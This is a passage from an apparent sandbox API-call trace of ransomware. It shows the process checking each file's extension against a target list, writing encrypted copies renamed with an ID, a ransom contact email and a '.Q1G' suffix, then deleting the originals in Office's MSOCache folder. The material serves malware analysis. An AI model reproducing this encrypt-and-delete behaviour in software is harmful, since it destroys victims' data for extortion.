4 [0035.926] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.926] lstrlenW (lpString=".7z") returned 3 [0035.926] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.926] lstrlenW (lpString=".dbf") returned 4 [0035.926] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.926] lstrlenW (lpString=".1cd") returned 4 [0035.926] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.926] lstrlenW (lpString=".jpg") returned 4 [0035.927] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.927] lstrlenW (lpString=".doc") returned 4 [0035.927] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.927] lstrlenW (lpString=".docx") returned 5 [0035.927] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.927] lstrlenW (lpString=".pdf") returned 4 [0035.927] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.927] lstrlenW (lpString=".xls") returned 4 [0035.927] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.927] lstrlenW (lpString=".xlsx") returned 5 [0035.927] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.927] lstrlenW (lpString=".ppt") returned 4 [0035.927] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.927] lstrlenW (lpString=".zip") returned 4 [0035.927] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.927] lstrlenW (lpString=".rar") returned 4 [0035.927] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.927] lstrlenW (lpString=".bz2") returned 4 [0035.927] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.927] lstrlenW (lpString=".7z") returned 3 [0035.927] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.927] lstrlenW (lpString=".dbf") returned 4 [0035.927] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.927] lstrlenW (lpString=".1cd") returned 4 [0035.927] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.928] lstrlenW (lpString=".jpg") returned 4 [0035.928] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.928] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0035.928] lstrlenW (lpString="Setup.xml") returned 9 [0035.928] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.928] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=2424) returned 1 [0035.928] CloseHandle (hObject=0x19c) returned 1 [0035.928] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.928] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0035.928] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.928] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.928] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.929] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.930] GetLastError () returned 0x0 [0035.930] ReadFile (in: hFile=0x19c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x978, lpOverlapped=0x0) returned 1 [0035.932] WriteFile (in: hFile=0x1a0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x980, lpOverlapped=0x0) returned 1 [0035.932] ReadFile (in: hFile=0x19c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0035.932] WriteFile (in: hFile=0x1a0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.933] SetEndOfFile (hFile=0x1a0) returned 1 [0035.933] CloseHandle (hObject=0x1a0) returned 1 [0035.933] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.933] SetEndOfFile (hFile=0x19c) returned 1 [0035.934] CloseHandle (hObject=0x19c) returned 1 [0035.934] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0035.934] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.935] lstrlenW (lpString=".doc") returned 4 [0035.935] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.935] lstrlenW (lpString=".docx") returned 5 [0035.935] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.935] lstrlenW (lpString=".pdf") returned 4 [0035.935] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.935] lstrlenW (lpString=".xls") returned 4 [0035.935] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.935] lstrlenW (lpString=".xlsx") returned 5 [0035.935] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.935] lstrlenW (lpString=".ppt") returned 4 [0035.935] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.935] lstrlenW (lpString=".zip") returned 4 [0035.935] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.935] lstrlenW (lpString=".rar") returned 4 [0035.935] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.935] lstrlenW (lpString=".bz2") returned 4 [0035.935] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.935] lstrlenW (lpString=".7z") returned 3 [0035.935] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.935] lstrlenW (lpString=".dbf") returned 4 [0035.935] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.935] lstrlenW (lpString=".1cd") returned 4 [0035.935] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.935] lstrlenW (lpString=".jpg") returned 4 [0035.935] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.936] lstrlenW (lpString=".doc") returned 4 [0035.936] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.936] lstrlenW (lpString=".docx") returned 5 [0035.936] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.936] lstrlenW (lpString=".pdf") returned 4 [0035.936] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.936] lstrlenW (lpString=".xls") returned 4 [0035.936] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.936] lstrlenW (lpString=".xlsx") returned 5 [0035.936] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.936] lstrlenW (lpString=".ppt") returned 4 [0035.936] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.936] lstrlenW (lpString=".zip") returned 4 [0035.936] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.936] lstrlenW (lpString=".rar") returned 4 [0035.936] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.936] lstrlenW (lpString=".bz2") returned 4 [0035.936] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.936] lstrlenW (lpString=".7z") returned 3 [0035.936] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.936] lstrlenW (lpString=".dbf") returned 4 [0035.936] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.936] lstrlenW (lpString=".1cd") returned 4 [0035.936] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.936] lstrlenW (lpString=".jpg") returned 4 [0035.936] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.937] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0035.937] lstrlenW (lpString="WordMUI.xml") returned 11 [0035.937] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.937] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1800) returned 1 [0035.937] CloseHandle (hObject=0x19c) returned 1 [0035.937] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0035.937] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0035.937] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.937] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.937] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.937] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.938] GetLastError () returned 0x0 [0035.938] ReadFile (in: hFile=0x19c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x708, lpOverlapped=0x0) returned 1 [0035.939] WriteFile (in: hFile=0x1a0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x710, lpOverlapped=0x0) returned 1 [0035.940] ReadFile (in: hFile=0x19c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0035.940] WriteFile (in: hFile=0x1a0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0035.940] SetEndOfFile (hFile=0x1a0) returned 1 [0035.940] CloseHandle (hObject=0x1a0) returned 1 [0035.941] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.941] SetEndOfFile (hFile=0x19c) returned 1 [0035.942] CloseHandle (hObject=0x19c) returned 1 [0035.942] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0035.942] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0035.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0035.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0035.942] lstrlenW (lpString=".doc") returned 4 [0035.942] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.942] lstrlenW (lpString=".docx") returned 5 [0035.942] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.942] lstrlenW (lpString=".pdf") returned 4 [0035.942] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.942] lstrlenW (lpString=".xls") returned 4 [0035.942] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.943] lstrlenW (lpString=".xlsx") returned 5 [0035.943] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.943] lstrlenW (lpString=".ppt") returned 4 [0035.943] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0035.943] lstrlenW (lpString=".zip") returned 4 [0035.943] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.943] lstrlenW (lpString=".rar") returned 4 [0035.943] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.943] lstrlenW (lpString=".bz2") returned 4 [0035.943] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.943] lstrlenW (lpString=".7z") returned 3 [0035.943] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0035.943] lstrlenW (lpString=".dbf") returned 4 [0035.943] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0035.943] lstrlenW (lpString=".1cd") returned 4 [0035.943] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0035.943] lstrlenW (lpString=".jpg") returned 4 [0035.943] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0035.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0035.943] lstrlenW (lpString=".doc") returned 4 [0035.943] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.943] lstrlenW (lpString=".docx") returned 5 [0035.943] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.943] lstrlenW (lpString=".pdf") returned 4 [0035.943] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.943] lstrlenW (lpString=".xls") returned 4 [0035.944] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.944] lstrlenW (lpString=".xlsx") returned 5 [0035.944] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.944] lstrlenW (lpString=".ppt") returned 4 [0035.944] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0035.944] lstrlenW (lpString=".zip") returned 4 [0035.944] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.944] lstrlenW (lpString=".rar") returned 4 [0035.944] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.944] lstrlenW (lpString=".bz2") returned 4 [0035.944] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.944] lstrlenW (lpString=".7z") returned 3 [0035.944] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0035.944] lstrlenW (lpString=".dbf") returned 4 [0035.944] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0035.944] lstrlenW (lpString=".1cd") returned 4 [0035.944] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0035.944] lstrlenW (lpString=".jpg") returned 4 [0035.944] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.944] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0035.944] lstrlenW (lpString="Proof.xml") returned 9 [0035.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.113] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1347) returned 1 [0036.113] CloseHandle (hObject=0x198) returned 1 [0036.113] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0036.113] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.113] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.114] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.114] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.114] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.114] GetLastError () returned 0x0 [0036.114] ReadFile (in: hFile=0x198, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x543, lpOverlapped=0x0) returned 1 [0036.115] WriteFile (in: hFile=0x1a8, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x550, lpOverlapped=0x0) returned 1 [0036.116] ReadFile (in: hFile=0x198, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0036.116] WriteFile (in: hFile=0x1a8, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.117] SetEndOfFile (hFile=0x1a8) returned 1 [0036.117] CloseHandle (hObject=0x1a8) returned 1 [0036.117] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.117] SetEndOfFile (hFile=0x198) returned 1 [0036.118] CloseHandle (hObject=0x198) returned 1 [0036.118] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.118] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0036.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0036.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0036.119] lstrlenW (lpString=".doc") returned 4 [0036.119] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.119] lstrlenW (lpString=".docx") returned 5 [0036.119] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0036.119] lstrlenW (lpString=".pdf") returned 4 [0036.119] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.119] lstrlenW (lpString=".xls") returned 4 [0036.119] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.119] lstrlenW (lpString=".xlsx") returned 5 [0036.119] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0036.119] lstrlenW (lpString=".ppt") returned 4 [0036.119] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.119] lstrlenW (lpString="C:\\MSOCache\\All 